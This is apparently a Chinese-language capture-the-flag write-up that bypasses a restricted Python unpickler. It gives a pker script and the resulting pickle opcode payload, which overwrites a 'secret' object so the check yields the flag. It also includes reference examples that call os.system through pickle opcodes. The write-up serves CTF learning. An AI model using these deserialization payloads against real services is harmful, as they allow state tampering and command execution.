打开后的页面
点击here可以看到源码,关键处代码
当满足Animal类中对象的name和category属性和secret内的两个属性的值吻合即可getflag
这里还限制了‘R',并且RestrictedUnpickler
函数使得我们只能使用mian中模块。
所以可以导入secret然后再覆盖secret变量的值
手写opcode有些困难,所以利用pker工具
pker代码放到1.txt中
secret=GLOBAL('__main__', 'secret') # python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
animal = INST('__main__', 'Animal','1','2')
return animal
GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)
INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para
利用脚本将\n还原为回车
a="c__main__\nsecret\np0\n0g0\n(}(S'name'\nS'1'\ndtbg0\n(}(S'category'\nS'2'\ndtb(S'1'\nS'2'\ni__main__\nAnimal\np3\n0g3\n."
a =a.encode('ascii').decode('unicode_escape')
print(a)
base64编码后提交即可获得flag